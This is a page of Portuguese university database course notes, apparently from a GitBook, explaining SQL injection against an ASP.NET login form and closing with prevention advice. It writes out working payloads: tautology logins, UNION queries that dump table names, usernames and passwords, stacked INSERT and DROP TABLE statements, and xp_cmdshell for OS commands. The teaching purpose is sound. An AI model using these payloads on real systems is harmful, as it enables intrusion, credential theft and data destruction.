Notes - MIECT
Bases De Dados
Notes - MIECT
Bases De Dados
  • Bases de Dados
  • Introdução
    • Conceitos
    • Sistema de Gestão de Ficheiros (SGBD)
      • Vantagens e Desvantagens
      • Utilizadores
      • Dicionários
      • Interfaces (Aplicações)
      • Arquitetura ANSI/ SPARC
        • Independência dos Dados
      • Arquitetura Típica
    • Modelo de Base de Dados
      • Modelos NoSQL
      • Modelo Hierárquico
      • Modelo de Rede
  • Desenho de Base de Dados - Diagramas E/R
    • Desenho Base de Dados
    • Análise de Requisitos
    • Desenho Conceptual
    • Modelo Entidade/Relacionamento (E/R)
      • Entidade
      • Atributo
      • Relacionamento
        • Classificação
      • Restrições de Integridade
    • DER - Agregação
    • DER – Opções de Desenho
    • Generalização versus Especialização
      • Especialização
      • Generalização
    • Outras Notações DER
    • Casos de Estudo
      • Clínica Médica
      • Empresa
  • Modelo Relacional
    • Introdução
    • Conceitos
    • Relação
    • SuperChaves e Chaves Candidatas
    • Chave Primária
    • Restrições de Integridade
      • Regras de Codd
    • Conversão do DER em Modelo Relacional
      • Especialização
      • Agregação
      • Exemplo
  • Linguagem SQL - DDL
    • Linguagem SQL
    • Hierarquia de Objetos
    • Criar e Eliminar uma Base de Dados
    • Schema
    • Tipo de Dados
    • Definição de Domínio
    • Definição de Novo Tipo
    • Criar uma Tabela
    • Atributos
      • CHECK
      • PRIMARY KEY
      • UNIQUE
      • FOREIGN KEY
    • Tabela
    • Considerações Práticas
  • Álgebra Relacional
    • Operações Básicas
      • Seleção
      • Projeção
      • Encadeamento de Operações
      • Renomeação
      • União
      • Interseção
      • Diferença
      • Produto Cartesiano
      • Junção θ
      • Divisão
    • Operações Estendidas
      • Semi Join
      • Inner Vs. Outer Join
      • Outer Join
      • Agregação
    • Caso de Estudo
  • Linguagem SQL - DML
    • Projeção
    • Seleção
    • Inserção
    • Eliminação
    • Actualização
    • Renomeação
    • Queries
    • Operações com Conjuntos
      • Projeção
    • Renomeação
    • UNION
    • Produto Cartesiano
    • Junção de Relações
    • Queries
  • SQL DML - Consulta Simples
    • Operações com Conjuntos
    • Projeção
    • Seleção
    • Renomeação – Relação, Atributo e Aritmética
    • Reunião, Intersecção e Diferença
    • Produto Cartesiano
    • Junção de Relações
    • Junção
    • Queries
  • Consultas Avançadas
    • Tratamento dos NULL
    • NATURAL JOIN
    • OUTER JOIN
    • Encadeamento
    • Agregações
    • SubQueries
    • Pertença a Conjunto
    • Comparação de Conjuntos
    • EXISTS
    • UNIQUE
    • SubConsultas Não Correlacionadas
  • Linguagem SQL – View
    • View
    • Utilização
    • Query Modification
    • Alterar e Eliminar
    • Update de Dados
    • WITH CHECK OPTION
  • Normalização
    • Desenho de BD - Esquemas de Relação
    • Semântica dos atributos da relação
    • Redução dos NULLs nos tuplos
    • Junção de Relações baseada em PK e FK
    • Dependências Funcionais (DP)
    • Normalização
      • Primeira Forma Normal (1NF)
      • Segunda Forma Normal (2FN)
      • Terceira Forma Normal (3FN)
      • Boyce-Codd Normal Form (BCNF)
      • Ponto de Equilíbrio
      • 4FN e 5FN
      • Dependências de Junção
  • Indexação e Optimização
    • Introdução
    • Índices
      • Single-Level Ordered
      • Multilevel Index
    • Árvore de Pesquisa
    • SQL - Index
    • Seleção de Índices
      • Caso de Estudo
    • SQL Server - Indexing
    • SQL Server: Clustered index
    • SQL Server: Non-clustered index
    • B-Tree Page Split
    • Opções de Especialização
    • Heap vs Clustered Table
    • Escolha de um Clustered Index
    • Escolha de um Non-Clustered Index
    • B-Tree Tuning
    • Desfragmentação de Índices
  • SQL Programming
    • Script & Batch
    • Variáveis
    • PRINT
    • Instruções de Controlo de Fluxo
    • Tabelas Temporárias
    • Tabelas como Variáveis
    • Cursor
    • Stored Procedures
      • SQL Statement vs. Stored Procedure
      • Create
      • Update e Drop
      • Tipos
      • Execução
      • Parâmetros de Saída
      • Cifragem
    • T-SQL Error Handling
    • T-SQL RAISERROR
    • T-SQL: Try … Catch
    • User Defined Functions (UDF)
      • Tipos
    • Trigger
      • After
      • Instead of
      • Inserted e Deleted – Logical Tables
      • Colunas Alteradas
      • Limitações
      • Funcionalidades Úteis
  • Transações
    • Introdução
    • Transação – Operações de Leitura e Escrita
    • Transações em SQL Standard
    • Estado de uma Transação
    • Propriedades
  • Controlo de Concorrência
    • Transações
    • Escalonamento Concorrente
    • Métodos
  • Recuperação de Falhas
    • Introdução
    • Falhas de um SGBD
    • Escalonamento vs Recuperação de Falhas
    • Backups
    • Transactions Logs
    • Rollback – até que ponto?
    • Custos
  • SQL Server
    • Resumo da Sintaxe
    • Transações Encadeadas
    • Stored Procedures e Rollbacks
    • Transações
  • Aspectos de Segurança
    • Modelo de Segurança
    • Login e User
    • Segurança na Base de Dados
    • DB - Grant Access
    • Segurança dos Objetos da BD
    • Objetos
    • Stored Procedure
    • Cifragem de Atributos
    • SQL INJECTION
Powered by GitBook
On this page
  • Definição
  • Como Funciona?
  • Strings – Injecting SQL
  • E se o parâmetro for numérico...
  • Descobrindo nome da tabela e atributos
  • Obter o nome das tabelas da BD
  • Obter o nome das colunas da tabela
  • Acesso a dados de tabelas
  • Inserir/Alterar Dados numa tabela
  • Eliminando Tabelas!
  • Determinar o DB Login/User
  • Execução de comandos do SO
  • Como Prevenir?
  1. Aspectos de Segurança

SQL INJECTION

Definição

A injecção maliciosa de comandos SQL num SGBD através de uma aplicação.

Um ataque deste tipo pode:

  • Expor informação

  • Introduzir/alterar dados

  • Eliminar dados

  • Ganhar acesso a contas/privilégios de outros utilizadores

  • Denial-of-Service

  • Executar comandos no SO

Ameaça mais comum num SGBD

Como Funciona?

Exemplo (ASP .NET)

Form de Login de uma aplicação que tem associada uma query:

SELECT * FROM Login
WHERE username = ’Joe’
AND password = '123’

Se retornar algo => login!

GUI -> Imaginemos que a query é construída da seguinte forma:

SQLQuery = "SELECT * FROM Login where username= '" +
form_usr + "' AND password = '" + form_pwd + "'";

Strings – Injecting SQL

Se o utilizador introduzir os seguintes campos:

form_usr

' or 1=1 – –

form_pwd

< anything >

A query resultante seria:

SELECT * FROM Login
WHERE username = ' ' or 1=1
– – AND password = 'anything’

Repare no poder do caracter ’ na string... termina-a e o que vem a seguir é considerado comando SQL.

O resto da instrução SQL (programada) é cancelada com o --

E se o parâmetro for numérico...

SELECT * FROM customers WHERE id= 5 AND pin = 5432

Se o utilizador introduzir os seguintes campos:

form_id

3 or 1=1 – –

form_pin

< anything >

A query resultante seria:

SELECT * FROM customers
WHERE id = 3 or 1=1
– – AND pin = anything

Vai retornar todos os tuplos de customers...

Descobrindo nome da tabela e atributos

form_usr

blabla

form_pwd

' group by username --

A query resultante seria:

SELECT * FROM Login WHERE username = ’blabla’ AND password=‘’
group by username –-

Obter o nome das tabelas da BD

form_usr

xx' UNION SELECT TABLE_NAME, null, null FROM INFORMATION_SCHEMA.TABLES; --

form_pwd

blablabla

Explorando a UNION para obter outra informação:

  1. Temos de acertar no número de atributos (tentativa e erro)

  2. Provocar um erro de “matching” dos tipos dos atributos

SELECT * FROM Login WHERE username = 'xx' UNION SELECT TABLE_NAME,
null, null FROM INFORMATION_SCHEMA.TABLES; -- password='

Obter o nome das colunas da tabela

form_usr

xx' UNION SELECT COLUMN_NAME, null, null FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='vendor'; --

form_pwd

blablabla

Explorando a UNION para obter outra informação:

  1. Temos de acertar no número de atributos (tentativa e erro)

  2. Provocar um erro de “matching” dos tipos dos atributos

SELECT * FROM Login WHERE username = 'xx' UNION SELECT COLUMN_NAME, null, null
FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=‘Vendor’; --

Acesso a dados de tabelas

form_usr

xx' UNION SELECT TOP 1 username, null, null FROM login; --

form_pwd

blablabla

Continuando a explorar a UNION para obter outra informação:

SELECT * FROM Login WHERE username = 'xx' UNION SELECT TOP 1
username, null, null FROM login; --

Já temos os usernames... vamos tentar obter as passwords:

form_usr

xx' UNION SELECT password, null, null FROM login WHERE username=‘cc’; --

form_pwd

blablabla

Continuando a explorar a UNION para obter outra informação:

SELECT * FROM Login WHERE username = 'xx' UNION SELECT
username, null, null FROM login WHERE username=‘cc’; --

Inserir/Alterar Dados numa tabela

Inserindo novos registos na tabela Login:

form_usr

xx’; INSERT INTO Login Values (3, ‘Joao’, ‘toc-toc’); --

form_pwd

blablabla

Resultaria em duas instruções SQL:

SELECT * FROM Login WHERE username = 'xx’; INSERT INTO Login
Values (3, ‘Joao’, ‘toc-toc’); --

Eliminando Tabelas!

E se o utilizador tiver permissões para eliminar tabelas???

form_usr

xx’; DROP TABLE sales; --

form_pwd

blablabla

Resultaria em duas instruções SQL:

SELECT * FROM Login WHERE username = 'xx’; DROP TABLE sales; --

Falha a autenticação mas executa com sucesso a segunda instrução DDL...

Determinar o DB Login/User

Há várias funções escalares do SQL99 suportadas pelos SGBD:

  • user ou current_user

  • session_user

  • system_user

form_usr

xx' and 1 in (select user ) --

form_pwd

blablabla

Resultaria em duas instruções SQL:

SELECT * FROM Login WHERE username = 'xx' and 1 in (select user ) --

Execução de comandos do SO

Se o utilizador introduzir os seguintes campos:

form_usr

'; exec master..xp_cmdshell 'dir' – –

form_pwd

blablabla

A query resultante seria a execução de um comando na shell do SO*:

SELECT * FROM Login
WHERE username = ' '; exec master..xp_cmdshell ’dir’ --

Podemos construir uma batch (...;...;...;) que:

  • recolhe dados e envia para uma máquina remota

  • start/stop de serviços do SO

  • destrói dados

Como Prevenir?

Não confiar nos dados introduzidos pelo utilizador

  • Devemos validar toda a entrada de dados

Nunca utilizar SQL dinâmico

  • Utilizar SQL parametrizado ou Stored Procedures

Nunca conectar a DB com um conta administrador

  • Utilizar uma conta com privilégios limitados

Não armazenar informação sensível (passwords, etc) em texto simples

  • Utilizar processos de cifragem ou hash

Reduzir ao mínimo a apresentação de informação de erros

  • Utilizar informação de erros customizada

  • Não utilizar debug

PreviousCifragem de Atributos

Last updated 2 years ago